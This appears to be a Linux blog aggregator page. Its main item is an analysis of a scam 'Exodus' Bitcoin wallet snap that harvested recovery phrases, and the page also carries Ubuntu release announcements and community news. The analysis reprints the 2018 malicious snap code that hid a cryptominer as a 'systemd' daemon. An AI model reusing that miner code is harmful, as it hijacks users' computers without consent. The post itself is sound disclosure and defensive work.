3 directories, 1 file

Clean as a whistle!

alan@vm:~/temp$ cat squashfs-root/meta/snap.yaml 
name: exodus
version: 9.9.9
summary: Empty snap
description: |
 This is my-snap's description. You have a paragraph or two to tell the
 most important story about your snap. Keep it under 100 words though,
 we live in tweetspace and your description wants to look good in the snap
 store.
architectures:
- amd64
base: core22
confinement: strict
grade: stable
environment:
 LD_LIBRARY_PATH: ${SNAP_LIBRARY_PATH}${LD_LIBRARY_PATH:+:$LD_LIBRARY_PATH}
 PATH: $SNAP/usr/sbin:$SNAP/usr/bin:$SNAP/sbin:$SNAP/bin:$PATH

It’s almost as small as my null snap I previously blogged about.

Nice work Canonical!

Now, about those other suggestions… :D

on February 23, 2024 07:30 AM

February 22, 2024

The Ubuntu team is pleased to announce the release of Ubuntu 22.04.4 LTS (Long-Term Support) for its Desktop, Server, and Cloud products, as well as other flavours of Ubuntu with long-term support.

As usual, this point release includes many updates and updated installation media has been provided so that fewer updates will need to be downloaded after installation. These include security updates and corrections for other high-severity bugs, with a focus on maintaining stability and compatibility with Ubuntu 22.04 LTS.

22.04.4 also includes a new arm64+largemem ISO for ARM servers which provides a 64k page size kernel. This can increase throughput at the cost of higher memory usage. See here for more details:

https://ubuntu.com/server/docs/choosing-between-the-arm64-and-arm64-largemem-installer-options

Kubuntu 22.04.4 LTS, Ubuntu Budgie 22.04.4 LTS, Ubuntu MATE 22.04.4 LTS, Lubuntu 22.04.4 LTS, Ubuntu Kylin 22.04.4 LTS, Ubuntu Studio 22.04.4 LTS, and Xubuntu 22.04.4 LTS are also now available. More details can be found in their individual release notes (see ‘Official flavours’):

https://discourse.ubuntu.com/t/jammy-jellyfish-release-notes/24668

Maintenance updates will be provided for 5 years from the initial 22.04 LTS release for Ubuntu Desktop, Ubuntu Server, Ubuntu Cloud, and Ubuntu Core. All the remaining flavours will be supported for 3 years. Additional security support is available with ESM (Expanded Security Maintenance).

To get Ubuntu 22.04.4 LTS

In order to download Ubuntu 22.04.4 LTS, visit:

https://ubuntu.com/download

Users of Ubuntu 20.04 LTS will be offered an automatic upgrade to 22.04.4 LTS via Update Manager.

We recommend that all users read the 22.04.4 LTS release notes, which document caveats and workarounds for known issues, as well as more in-depth notes on the release itself. They are available at:

https://discourse.ubuntu.com/t/jammy-jellyfish-release-notes/24668

If you have a question, or if you think you may have found a bug but aren’t sure, you can try asking in any of the following places:

#ubuntu on irc.libera.chat
https://lists.ubuntu.com/mailman/listinfo/ubuntu-users
https://ubuntuforums.org
https://askubuntu.com

Help Shape Ubuntu

If you would like to help shape Ubuntu, take a look at the list of ways you can participate at:

https://discourse.ubuntu.com/contribute

About Ubuntu

Ubuntu is a full-featured Linux distribution for desktops, laptops, clouds and servers, with a fast and easy installation and regular releases. A tightly-integrated selection of excellent applications is included, and an incredible variety of add-on software is just a few clicks away.

Professional services including support are available from Canonical and hundreds of other companies around the world. For more information about support, visit:

https://ubuntu.com/support

More Information

You can learn more about Ubuntu and about this release on our website listed below:

https://ubuntu.com/

To sign up for future Ubuntu announcements, please subscribe to Ubuntu’s very low volume announcement list at:

https://lists.ubuntu.com/mailman/listinfo/ubuntu-announce

Originally posted to the ubuntu-announce mailing list on Thu Feb 22 17:42:53 UTC 2024 by Łukasz ‘sil2100’ Zemczak on behalf of the Ubuntu Release Team

on February 22, 2024 09:14 PM
Thanks to all the hard work from our contributors, Lubuntu 22.04.4 LTS has been released. With the codename Jammy Jellyfish, Lubuntu 22.04 is the 22nd release of Lubuntu, the eighth release of Lubuntu with LXQt as the default desktop environment. Support lifespan Lubuntu 22.04 LTS will be supported for 3 years until April 2025. Our […]
on February 22, 2024 08:23 PM

We are pleased to announce the release of the next version of our distro, the fourth 22.04 LTS point release. The LTS version is supported for 3 years while the regular releases are supported for 9 months. The new release rolls-up various fixes and optimizations by Ubuntu Budgie team, that have been released since the 22.04.3 release in August: For the adventurous among our community we…

Source

on February 22, 2024 06:15 PM

E287 O Filho Pródigo Torna a Casa

Podcast Ubuntu Portugal

Adivinhem quem voltou ao Daily Show? O Jon Stewart. E quem recebemos hoje no podcast? Não foi o Jon Stewart. O Diogo continua a ter problemas com o Home Assistant (não podia faltar) e falou-se de diferentes tamanhos de Slimbook e carrinhas de campismo, encontros de Ubuntu, férias na neve com o Popey, snowboards e motherboards, encontros de Linux e Fofóquesdem (fofocas da FOSDEM), elucubrações sobre Thunderbird e que diabo é um Macfruit e porque é que tem de ser beliscado para não se ter síndroma de túnel cárpico?

Já sabem: oiçam, subscrevam e partilhem!

Apoios

Podem apoiar o podcast usando os links de afiliados do Humble Bundle, porque ao usarem esses links para fazer uma compra, uma parte do valor que pagam reverte a favor do Podcast Ubuntu Portugal. E podem obter tudo isso com 15 dólares ou diferentes partes dependendo de pagarem 1, ou 8. Achamos que isto vale bem mais do que 15 dólares, pelo que se puderem paguem mais um pouco mais visto que têm a opção de pagar o quanto quiserem. Se estiverem interessados em outros bundles não listados nas notas usem o link https://www.humblebundle.com/?partner=PUP e vão estar também a apoiar-nos.

Atribuição e licenças

Este episódio foi produzido por Diogo Constantino, Miguel e Tiago Carrondo e editado pelo Senhor Podcast. O website é produzido por Tiago Carrondo e o código aberto está licenciado nos termos da Licença MIT. A música do genérico é: “Won’t see it comin’ (Feat Aequality & N’sorte d’autruche)”, por Alpha Hydrae e está licenciada nos termos da CC0 1.0 Universal License. Este episódio e a imagem utilizada estão licenciados nos termos da licença: Attribution-NonCommercial-NoDerivatives 4.0 International (CC BY-NC-ND 4.0), cujo texto integral pode ser lido aqui. Estamos abertos a licenciar para permitir outros tipos de utilização, contactem-nos para validação e autorização.

on February 22, 2024 12:00 AM

February 21, 2024

Oxygen Icons 6 Released

Jonathan Riddell

Oxygen Icons is an icon theme for use with any XDG compliant app and desktop.

It is part of KDE Frameworks 6 but is now released independently to save on resources.

This 6.0.0 release requires to be built with extra-cmake-modules from KF 6 which is not yet released, distros may want to wait until next week before building it.

Distros which ship this version can drop the version released as part of KDE Frameworks 5.

sha256: 28ec182875dcc15d9278f45ced11026aa392476f1f454871b9e2c837008e5774

URL: https://download.kde.org/stable/oxygen-icons/

Signed by E0A3EB202F8E57528E13E72FD7574483BB57B18D Jonathan Esk-Riddell <jr@jriddell.org>
https://jriddell.org/esk-riddell.gpg

on February 21, 2024 10:20 AM

February 20, 2024

Edit: There’s a short follow-up to this post: Exodus Bitcoin Wallet: Follow up.

tl;dr: A Bitcoin investor was recently scammed out of 9 Bitcoin (worth around $490K) in a fake “Exodus wallet” desktop application for Linux, published in the Canonical Snap Store. This isn’t the first time, and if nothing changes, it likely won’t be the last.

Bye bye bitcoin

This post turned out longer than I expected. So if you don’t have the time there’s a briefer summary at the bottom under “In summary (the tl;dr)” along with my suggestions on what Canonical should do now.

We talked about this in episode 23 of Linux Matters Podcast, if you prefer a truncated audio version. The episode was recorded on 13th February 2024, and published on 20th February whereas this blog post is current as of the publication date.

Scam exodus app

Patreon supporters of Linux Matters can get the show a day early, and without adverts. 🙏

Introduction

For clarity, I used to work for Canonical on the Snapcraft team, but I no longer do. Now, I’m just some community guy who wants Ubuntu and Snapcraft to be a success. I’m writing this in the hope Canonical will fix its processes so reputation-damaging events like this don’t keep happening.

All of the words below are based on my external perspective of what happened. However, I have also drawn on my historic internal knowledge of the processes and how we dealt with this in the past. Though things may have changed in the two years since I left the company.

What happened

An application called “Exodus” was published in the Canonical Snap store on 6th February 2024. (In the podcast episode, I mistakenly said the application had been published for 2 days. This is inaccurate. It was published for 6 days).

The application had a couple of screenshots, an icon, and a detailed description.

Exodus in the Snap store

Early on Sunday 12th February a new Snapcraft forum user named “castle” started a short thread titled “Exodus - Movement Exod”. In it, they enquired:

Can anyone tell if the Exodus wallet in Ubuntu’s software store is a scam? My wallet is empty after recovering and it shows a recent transaction of my entire balance sent to an address. I never made this transaction.

I initially spotted this question early on that Sunday evening, some nine or ten hours after it was posted.

Spoiler: This “Exodus” application published in the Snap store was indeed a scam application. There is a genuine organisation that developed a real, seemingly ’legitimate’ cryptocurrency wallet application. This is not that.

Brief analysis

Without wishing to give scammers a “How to pass for a genuine application” guide, I’ve taken a look at this one and present the details here so users are empowered to make educated decisions.

Store page

The “Exodus” application was published in the Snap store at https://snapcraft.io/exodus but has subsequently been ‘quarantined’ by Canonical.

When a snap is ‘quarantined’, typically the owner’s account is disabled, their published snaps are moved to a Canonical-owned account, and the published revisions are ‘unpublished’. The net result is the application no longer appears in search results, visiting the store page returns a ‘404’, and the publisher can no longer access the package.

Below is a screen capture of the full Exodus Snap store page I took at the time.

Exodus in the Snap store

The store page looks somewhat legitimate, to the untrained eye. The publisher’s name was “Movement Exod (movementexod)”, which also adds some legitimacy. It was published in the “Finance” category in the store.

The logo and screenshots are from the official upstream Exodus application. A lengthy text description provides some simple marketing about the platform.

Note the coloured map at the bottom of the page has multiple countries highlighted. This indicates the snap had (at the time of screenshot) at least ten installs in different countries. Therefore, our user is not the only person with this malware installed on their PC.

The application could also be viewed in the desktop “App Centre” (previously “Ubuntu Software”) application storefront.

Exodus in the Ubuntu Store

Interestingly we learned via their responses that the desktop GUI was likely the way the “castle” user installed the Exodus application on their system. That’s pertinent given a later response where they ask why the snap is presented as “Safe” in the storefront. They likely saw a button like this in the “App Centre”, which gave them some confidence in the application.

Exodus in the Snap store

Furthermore the title of the Snapcraft web frontend says “Snaps are containerised software packages that are simple to create and install. They auto-update and are safe to run.

Snapcraft title

Are they though?

A peek inside

I wanted to take a look at the application itself. So on my workstation, in a separate virtual machine, I ran snap download exodus to download, but not install the application. I don’t have any cryptocurrency wallets on my system, but I didn’t know what the application might try to do, so for safety I didn’t run it directly on my computer.

A snap is just a squashfs file, typically containing an application, libraries, assets and metadata.

alan@vm:~/temp$ file exodus_4.snap
exodus_4.snap: Squashfs filesystem, little endian, version 4.0, xz compressed,
 26962719 bytes, 110 inodes, blocksize: 131072 bytes, created: Fri Feb 9 10:50:58 2024

I unpacked the snap with unsquashfs and briefly poked around at the resulting files.

alan@vm:~/temp$ unsquashfs exodus_4.snap
Parallel unsquashfs: Using 8 processors
79 inodes (788 blocks) to write

[=========================================================================/] 867/867 100%

created 79 files
created 31 directories
created 0 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 0 hardlinks

Notably much of the metadata in the snap.yaml file was still the developer defaults such as “Single-line elevator pitch for your amazing snap”.

alan@vm:~/temp$ cat squashfs-root/meta/snap.yaml 
name: exodus
version: 1.0.0
summary: Single-line elevator pitch for your amazing snap
description: |
 This is my-snap's description. You have a paragraph or two to tell the
 most important story about your snap. Keep it under 100 words though,
 we live in tweetspace and your description wants to look good in the snap
 store.
apps:
 exodus:
 command: snap/command-chain/desktop-launch $SNAP/bin/exodus
 plugs:
 - desktop
 - desktop-legacy
 - gsettings
 - opengl
 - wayland
 - x11
 - network
 - home
 command-chain:
 - snap/command-chain/snapcraft-runner
 - snap/command-chain/desktop-launch

Further investigation revealed this was an application developed using Flutter.

alan@vm:~/temp$ ldd squashfs-root/bin/exodus | grep flutter
 libflutter_linux_gtk.so
 => /home/alan/temp/squashfs-root/bin/lib/libflutter_linux_gtk.so (0x00007f69ee800000)

The application binary was quite small, and there weren’t a lot of bundled libraries beyond the essentials, potentially indicating limited features.

alan@vm:~/temp$ ls -lh squashfs-root/bin/exodus
-rwxr-xr-x 1 alan alan 24K Feb 9 10:49 squashfs-root/bin/exodus

Genuine or not tho?

Some software vendors link directly to the Snap store page for their software packages - others do not.

I looked on the upstream Exodus website to see if there was any mention of the snap.

Official Exodus electron app

Notably the snapped application was neither linked nor even mentioned. There are deb and zip files for a Linux build of their Exodus Wallet application, though.

I downloaded and unpacked these and observed significant differences to the application in the Snap store. The official app isn’t Flutter-based, it’s built using Electron, which bundles a Chromium-based runtime.

alan@vm:~/temp/upstream$ unzip -qq exodus-linux-x64-24.2.12.zip
alan@vm:~/temp/upstream$ ll Exodus-linux-x64/
total 217800
drwxr-xr-x 4 alan alan 4096 Feb 8 18:02 ./
drwxrwxr-x 3 alan alan 4096 Feb 20 10:04 ../
-rw-r--r-- 1 alan alan 136037 Feb 8 18:02 chrome_100_percent.pak
-rw-r--r-- 1 alan alan 196924 Feb 8 18:02 chrome_200_percent.pak
-rwxr-xr-x 1 alan alan 1322280 Feb 8 18:02 chrome_crashpad_handler*
-rwxr-xr-x 1 alan alan 54096 Feb 8 18:02 chrome-sandbox*
-rwxr-xr-x 1 alan alan 173385472 Feb 8 18:02 Exodus*
-rwxr-xr-x 1 alan alan 271 Feb 8 18:02 exodus.desktop*
-rw-r--r-- 1 alan alan 10717392 Feb 8 18:02 icudtl.dat
-rwxr-xr-x 1 alan alan 610 Feb 8 18:02 install-desktop-file.sh*
-rwxr-xr-x 1 alan alan 252120 Feb 8 18:02 libEGL.so*
-rwxr-xr-x 1 alan alan 2882824 Feb 8 18:02 libffmpeg.so*
-rwxr-xr-x 1 alan alan 6613816 Feb 8 18:02 libGLESv2.so*
-rwxr-xr-x 1 alan alan 4292368 Feb 8 18:02 libvk_swiftshader.so*
-rwxr-xr-x 1 alan alan 7469008 Feb 8 18:02 libvulkan.so.1*
-rw-r--r-- 1 alan alan 1096 Feb 8 18:02 LICENSE
-rw-r--r-- 1 alan alan 9242930 Feb 8 18:02 LICENSES.chromium.html
drwxr-xr-x 2 alan alan 4096 Feb 8 18:02 locales/
drwxr-xr-x 2 alan alan 4096 Feb 8 18:02 resources/
-rw-r--r-- 1 alan alan 5499616 Feb 8 18:02 resources.pak
-rw-r--r-- 1 alan alan 267462 Feb 8 18:02 snapshot_blob.bin
-rw-r--r-- 1 alan alan 626313 Feb 8 18:02 v8_context_snapshot.bin
-rw-r--r-- 1 alan alan 6 Feb 8 18:02 version
-rw-r--r-- 1 alan alan 107 Feb 8 18:02 vk_swiftshader_icd.json

I initially replied to the thread, letting the user know this looked dodgy, and certainly not official. The first revision of my reply:

It certainly doesn’t look official to me, based on the following simple check:

  • The upstream Exodus app is available as a deb and zip. Inside those packages there’s an electron app.
  • The exodus snap is a flutter application, not built using electron.

So it could be someone making their own Exodus application, it doesn’t look official.

Digging deeper

I wondered what the application did though. So I spun up a Quickemu virtual machine running Ubuntu 22.04 then installed and ran the snap.

sudo snap install exodus_4.snap --dangerous

Once launched, the dodgy Exodus app shows a window containing a branded background overlayed with input fields and buttons.

Scam exodus app

Clicking the help icon reveals the very brief documentation. The user is expected to input their twelve-word recovery phrase, to “import” their Exodus wallet.

Scam exodus app

“You need to write your 12-words phrase to import wallet. If your wallet is not imported, it means it is either not created or you are entering incorrect data. Before you click the import wallet button, double-check the entered phrase

Danger Zone

It’s mentioned in bold on the upstream Exodus site, and their subreddit, that users should never enter their twelve-word wallet recovery phrase, and that Exodus will never ask for this information.

Never 1

“❗ Exodus Staff will NEVER ask for sensitive information, including passwords, 12-word phrases or private keys.”

Never 1

“Exodus will never ask you for your 12-word (secret) phrase. Exodus will never as for your password. Exodus will never ask you to visit a link except for our official website at www.Exodus.com

Get lost, fat wallet 🔗

With that warning noted, I typed nonsense in the boxes and pressed the button.

Scam exodus app

“❗ You (sic) wallet is not imported. You (sic) data is not valid!”

My hunch was that the application poked some online API to unlock “my” wallet. So in the background, I had bandwhich running in a terminal.

I know tools like tcpdump or Wireshark exist, along with all manner of other deep packet analysis tools. I just wanted to give the application a quick ‘shake’ to know if it tried to do something online.

Sure enough, there were a few requests sent to a Linode IP, and others to Cloudflare.

Scam exodus app

Unsurprisingly, the API call failed because I entered a garbage wallet recovery phrase.

Edit: In a previous version of this blog I pointed the finger at a service called exchangerate-api. After some online comments and thinking about this, I have removed that section and screenshot. I drew a direct line between a scam app and a third-party legitimate service. I didn’t deeply investigate what APIs were used by the scam app, so it was unfair to draw that line.

Bad news

My untested theory is that if I had entered a valid recovery phrase, my online wallet would be accessed, and then emptied via an API call. I presume this is what happened to “castle”.

I edited my response to let the user know what I’d discovered and tagged the security team in the thread.

It certainly doesn’t look official to me, based on the following simple check:

  • The upstream Exodus app is available as a deb and zip. Inside those packages there’s an electron app.
  • The exodus snap is a flutter application, not built using electron.

So it could be someone making their own Exodus application, it doesn’t look official.

I installed the snap in a separate VM. It opens with a “Restore Wallet” dialog. If I enter random letters, it connects to some API at https://www.exchangerate-api.com/ and fails (because I didn’t enter a real wallet phrase).

Sadly, looks very dodgy.

I’ve sent an email to the security team. Also @security ^^

Separately, I also emailed the security team at Canonical and reported the application via the web form on the Exodus page in the Snap store.

Report this app link

The “Report this app” link is at the bottom of every Snap store page on https://snapcraft.io/. It takes seconds to fill in.

Report this app form

That’s about as much as I could do for now.

How does this happen? (an aside)

How is it that people can so easily publish scam Bitcoin wallet applications in the Snap store?

Frankly, it’s by design. One of the goals is to automate the whole Snapcraft publishing and review pipeline so there’s fewer (expensive and slow) humans in the loop.

To register a name for any application in the store, all a scammer needs is a store account. They can use any old email address, and create a store account in minutes. They don’t need to pay, give a business address or validate their identity with a government ID.

Once they have a store account, they can login with the command-line snapcraft tool, used for building their dodgy snap.

snapcraft login MySuperGenuineAndLegitEmailHonestGuv@example.com

Then register the unique name for their dodgy snap.

snapcraft register mysuperbadwallet

Writing the application is not beyond any semi-competent app developer. Packaging the program as a snap is well documented, and comes with free community support. Although I imagine they’d have to ask for help with packaging their “Modern network-enabled desktop application” rather than with a “Scam Bitcoin Wallet app”.

The next step is to validate that the package will pass the automated Snap store review tools. Simply run snap-review mysuperbadwallet.snap and fix any errors it reports.

Uploading is as simple as snapcraft upload mysuperbadwallet.snap --release=stable. Once it’s uploaded and processed, the package will be immediately searchable, and available for anyone, almost anywhere to download, install and run it.

No humans in the loop. What could possibly go wrong?

Removing humans from the process never caused problems in Hollywood! /s

Further research

Back to the scam Exodus Wallet snap…

The snapped application will have access to the $HOME directory, but not any hidden files or directories within home. This has always been seen as a useful protection against an application grubbing around in hidden folders, hoovering up wallets, ssh & GPG keys, and other secrets.

alan@vm:~$ snap connections exodus
Interface Plug Slot Notes
content[gnome-3-28-1804] exodus:gnome-3-28-1804 gnome-3-28-1804:gnome-3-28-1804 -
content[gtk-3-themes] exodus:gtk-3-themes gtk-common-themes:gtk-3-themes -
content[icon-themes] exodus:icon-themes gtk-common-themes:icon-themes -
content[sound-themes] exodus:sound-themes gtk-common-themes:sound-themes -
desktop exodus:desktop :desktop -
desktop-legacy exodus:desktop-legacy :desktop-legacy -
gsettings exodus:gsettings :gsettings -
home exodus:home :home -
network exodus:network :network -
opengl exodus:opengl :opengl -
wayland exodus:wayland :wayland -
x11 exodus:x11 :x11 -

But this application didn’t need to do that. All it needed was to look vaguely legit, and ask for a recovery phrase, then use the automatically-connected network interface to poke an online API to do their evil bidding.

Pretty clever, really.

I wondered if there might be others affected by this application. I did a few online searches to see if anyone had mentioned the snap. The only post I found was in a thread on 4chan (warning, 4chan link, duh), timed similarly to the Snapcraft forum thread.

In the 4chan thread, they revealed similar details to the Snapcraft discussion. However, they also pasted the transaction ID and the Bitcoin wallet the funds had been sent to. A little over 9 BTC was sent to one destination. At the time of writing that amount of Bitcoin was worth in the region of $490K, but that value changes often.

Bye bye bitcoin

I didn’t find any other contemporary reports of people being suckered by this snap. But then again, if someone got suckered, they might be inclined to keep it to themselves, or only talk about it on anonymous places like 4chan!

Gone, but not forgotten

The Canonical security team responded to me late on the same Sunday night to say ’thanks’ and that the application had already been removed from the store. Probably as a result of me hitting the “Report this app” button. It’s good to see that they respond promptly on the weekend.

That’s not the end of the story though. While the application is now in ‘quarantine’, and cannot be downloaded, the scam Exodus wallet application is still installed on machines out in the wild. Nothing seems to have been done to solve that.

The Exodus Wallet snap is a ticking timebomb out there on who knows how many computers. Anyone who installed it between 6th Feb and 12th Feb 2024 could one day open it, erroneously thinking it’s official, type in their wallet recovery code and lose everything.

Not the first crypto rodeo (aside)

This isn’t the first time a cryptocurrency scam has been published in the Snap store.

MinerCraft

Back in May 2018, when I was working for Canonical, we had one of our first high-profile crypto incidents. A bad actor downloaded existing game snaps from the store, unpacked and re-packed them with a bonus cryptocurrency miner on board.

They achieved this by adding a snippet to the snapcraft.yaml that launched a simple background daemon once the 2048buntu snap was installed.

 deamonx:
 command: command-deamonx.wrapper
 daemon: simple
 plugs:
 - network
 - network-bind
 - home

The command-deamonx.wrapper was a simple script to setup the environment, which then launched a further script called start.

#!/bin/sh
export PATH="$SNAP/usr/sbin:$SNAP/usr/bin:$SNAP/sbin:$SNAP/bin:$PATH"
export LD_LIBRARY_PATH="$LD_LIBRARY_PATH:$SNAP/lib:$SNAP/usr/lib:$SNAP/lib/x86_64-linux-gnu:$SNAP/usr/lib/x86_64-linux-gnu:$SNAP/usr/lib/x86_64-linux-gnu/mesa-egl:$SNAP/usr/lib/x86_64-linux-gnu/mesa"
export LD_LIBRARY_PATH=$SNAP_LIBRARY_PATH:$LD_LIBRARY_PATH
exec "desktop-launch" "$SNAP/start" "$@"

The start script launched a miner, sending any mined crypto to the publisher of the dodgy snap, who hid behind a protonmail account.

#!/bin/bash

currency=bcn
name=2048buntu


{ # try
/snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1 -g
} || { # catch
cores=($(grep -c ^processor /proc/cpuinfo))

if (( $cores < 4 )); then
 /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 1
else
 /snap/$name/current/systemd -u myfirstferrari@protonmail.com --$currency 2
fi
}

Once published these “Games with benefits” were downloaded by perhaps a hundred or more users. Along with the game they all got a bonus crypto miner running in the background on their computer.

Perhaps amusingly, the miner was disguised as a process called systemd, which could plausibly & legitimately be consuming processing time on a client computer.

Canonical was notified via GitHub issue, by someone who spotted this early on Friday 11th May. I found out on Saturday morning while away from my PC, watching a football game. I pinged around some people out-of-hours and we had the applications unlisted from the store.

The following week, while back at our desks, and after considerable discussion and rumination, we figured out a plan to un-minerize the client machines. For clients, the Snap store is effectively anonymous, so we couldn’t notify people by email or popup that their machine was compromised.

We considered the options and eventually decided to pull a benevolent version of the Amazon Kindle 1984 debacle. We took ownership of the three games, re-packaged them without the crypto miner, and published that as an update to the Snap store.

Anyone who’d had the game+miner installed would get an automatic update, typically within a few hours of powering their computer on. This meant they could keep the game, and we’d throw away the miner.

The result being there were no longer versions of the miner running on client machines.

Now, some might argue this was a bad way to do it, and perhaps they’re right. It honestly felt like the least-worst option at the time though.

Thinking about this in retrospect, we likely could have done something better here. The contents could have been replaced by a largely empty snap, which opens a URL in the default browser when opened. That URL could point to an official Snapcraft forum page which details an up-to-date list of quarantined snaps, and why they were removed.

Canonical published a blog post once word got out. I’ve personally never been very happy with that non-response and wasn’t involved in the drafting of it. But it is what it is.

Leaky Ledger Live

Skipping forward, between 16th and 18th September 2023, someone uploaded a “Ledger Live” Bitcoin wallet snap to the Snap store. Ten days later, a user reported that they’d been scammed out of $10K by the “Ledger Live” snap, published in the Snap store.

In a post titled “Phishing app on the snap store – is my computer compromised?” they asked:

The https://snapcraft.io/ledgerlive app is a phishing app disguising as the official app for https://www.ledger.com/

The way it works is that it queries you for your backup code (a list of words). In a dumb lapse of judgement I was scammed by this app and lost a substantial amount of money.

What worries me more is that my computer/passwords/files could be compromised. But if I understand it correctly, snaps are isolated somehow? Could it have read my filesystem?

What do you recommend I do?

A similar thread at the same time was reported in /r/ledgerwallet on Reddit. So again, likely the same person doing both reports.

I just got scammed for about 10.000 USD by https://snapcraft.io/ledgerlive

I hadn’t used my ledger in years and stupidly entered the 24 word passpharse into the app.

I’ll see how I’ll try to report this to snap, but just wanted to put the warning out there.

They followed up later on the forum:

The cryptocurrency was transferred out of my Wallet against my will to an unknown address.

After the September 2023 incident, Canonical temporarily suspended unrestricted registration of snap names.

A month later, that limitation was lifted with the comment:

“Instead, we will be conducting daily reviews of new snaps being uploaded. We will flag, investigate and take down any snap that looks suspicious. We are taking this action to remove friction from the snap publishing experience, whilst still closely monitoring what is being uploaded on a regular basis.”

They aren’t monitoring and investigating closely enough though!

They missed the Exodus snap uploaded on the 6th of February 2024, which then caught someone out to the tune of nearly half a million dollars, six days later!

Not enough

Thankfully it’s no longer possible for new users to install the scam Exodus wallet application. However, that doesn’t help the people who still have the application installed on their computers.

It’s very likely that many people inadvertently installed the application believing it was genuine, but have yet to fall into the trap of entering their security credentials.

This is a series of ticking time bombs, waiting to go off.

Or, perhaps the bomb has already gone off, multiple times, taking funds in the process, but people can’t or don’t want to speak up. Maybe they haven’t figured out what happened yet.

What now?

Following the February 2024 incident, a discussion thread titled “Should unverified cryptocurrency apps be banned?” was started on the Snapcraft forum. After a week it’s had only one reply, a hundred or so views, and has already dropped below thirty other threads on the front page.

I’m not privy to internal conversations inside Canonical. I suspect the recent event - and with any luck (humbly) - this blog post - may trigger further discussion and concrete plans. I certainly hope so.

In summary (the tl;dr)

Multiple genuine-looking scam cryptocurrency miners and fake Bitcoin wallet applications have been published in the Snap store since 2018. The latest has cost at least one person nearly half a million dollars in Bitcoin.

Some of these scam applications are still installed on end-user computers.

May 2018

Three open-source games were forked, a cryptocurrency miner was added, and these were re-uploaded to the Snap store under another name

  • Once discovered the games were quarantined, the malware removed and a clean version was pushed out to users
  • Canonical announced their intention to do nothing about this, and invited discussion which publicly appeared to go nowhere

September 2023

A glut of scam cryptocurrency applications were published, with a user reporting some monetary loss.

  • The applications were quarantined, making them unavailable for further download
  • No update was pushed out to clean client systems of the malware
  • No announcement was made informing users who had the malware still installed, on how to clean it up

February 2024

More scam cryptocurrency applications were published leading to significant financial loss for a user.

  • The applications were quarantined, thus making them unavailable for download
  • No update was pushed out to clean client systems of the malware
  • No announcement has yet been made informing users who have the malware, on how to clean it up

As far as I am aware, some of the known scam crypto applications that have been published in the Snap store are still installed on client systems.

What users should do

Remove all of the following snaps from their systems with snap remove --purge <snapname>. They are all ‘private’ in the Snap store, so their store pages show ‘404’, and the software cannot currently be downloaded.

These first three are ’technically’ okay because they were cleaned of malware and then updated in the store. So anyone who had the malware payload should have had it removed if they installed updates - which is automatic by default with snap. Earlier revisions still have the malware though.

  • 2048buntu
  • hextris
  • freecraft

These may or may not have contained malware, misfeatures or other scammy things. So it’s best to remove them all.

  • bip-web
  • bitwallet
  • btcwal
  • btcwallet
  • coinbase
  • cryptowal
  • electrum-wallet2
  • exodus
  • exoduswal
  • exoduswalet
  • exodwallet
  • guarda
  • komodo
  • ledger-live-wallet
  • ledger1
  • ledgerlive
  • liveledger
  • metamask
  • new-electrum-wallet
  • sparrow
  • sparrow-wallet
  • sparrowwalet
  • sparrowwallet
  • trezor-wallet
  • trezorwallet
  • trustwallet

Here’s a one-liner to get rid of them all:

for s in 2048buntu hextris freecraft bip-web bitwallet btcwal btcwallet coinbase cryptowal electrum-wallet2 exodus exoduswal exoduswalet exodwallet guarda komodo ledger-live-wallet ledger1 ledgerlive liveledger metamask new-electrum-wallet sparrow sparrow-wallet sparrowwalet sparrowwallet trezor-wallet trezorwallet trustwallet; do sudo snap remove --purge $s; done

What I think Canonical should do urgently

These suggestions are to reduce the opportunity for a bad actor to publish a similar scam application.

  • Mandate & verify that all published applications using financial and/or cryptocurrency branding are officially published directly by the upstream developers
  • Change the store so all initial Snapcraft store name registrations are gated behind human review
  • Gate the first month of a new snap uploads behind human review
  • Block all interface connection requests behind a human review, including automatically connected ones like network and home
  • Fully staff the team doing the above to respond to registration, interface connection and upload requests in a timely fashion
  • Send out a clean snap update (as we did in 2018) to all clients that have the scam snaps still installed

What I think Canonical should seriously consider next

Additional steps to enable users to have more confidence in the applications published in Snap store.

  • Publishers should have their ’newness’ on the platform highlighted with a ‘New Publisher’ badge
  • Snaps that are less than $M (2?) months old should have a ‘New Application’ badge
  • Snaps that have fewer than $N (50?) installs should not appear in search results
  • The store should make prominent notes to users that newly published snaps and snaps from new publishers should be viewed with extreme caution
  • Provide better education to users on the risks of installing finance and cryptocurrency software from the Snap store
  • Review and update all wording in graphical and web software store-fronts to ensure users aren’t given a false impression that malware is ‘safe’

What Canonical should not do

  • Nothing
  • Blame the user
  • This kind of response
  • Celebrate that being a target for bad actors means the platform is now big and successful

Conclusion

I have used Ubuntu most days for nearly 20 years. I contribute to, advocate for, and support Ubuntu users. I also publish numerous snaps in the Snap store.

I want both Ubuntu and Snapcraft be secure, successful and safe projects. I want to be able to recommend them to friends, without having to warn them about dodgy software in the Snap store.

Canonical can do better here.

on February 20, 2024 07:00 PM

February 19, 2024

Welcome to the Ubuntu Weekly Newsletter, Issue 827 for the week of February 11 – 17, 2024. The full version of this issue is available here.

In this issue we cover:

  • Nginx and freenginx
  • Ubuntu Stats
  • Hot in Support
  • LoCo Events
  • Ubuntu Matrix homeserver: Go Live
  • Anbox Cloud 1.21.0 has been released
  • Ubuntu Studio 24.04 Wallpaper Competition
  • Ubuntu Cloud News
  • Canonical News
  • In the Press
  • In the Blogosphere
  • Other Articles of Interest
  • Featured Audio and Video
  • Meeting Reports
  • Upcoming Meetings and Events
  • Updates and Security for Ubuntu 20.04, 22.04, and 23.10
  • And much more!

The Ubuntu Weekly Newsletter is brought to you by:

  • Krytarik Raido
  • Bashing-om
  • Chris Guiver
  • Wild Man
  • And many others

If you have a story idea for the Weekly Newsletter, join the Ubuntu News Team mailing list and submit it. Ideas can also be added to the wiki!

.

on February 19, 2024 09:32 PM

February 16, 2024

It’s Been Eighty Four Years…

For the first time in four years, Ubuntu Studio is opening up a wallpaper competition! While the default wallpaper will, once again, be designed by Ubuntu Studio art lead Eylul but we need your help to fill create a truly wonderful collection of unique wallpapers!

For more details, visit our post on the Ubuntu Discourse!

on February 16, 2024 07:16 PM

February 15, 2024

E286 O Código a Quem O Compila

Podcast Ubuntu Portugal

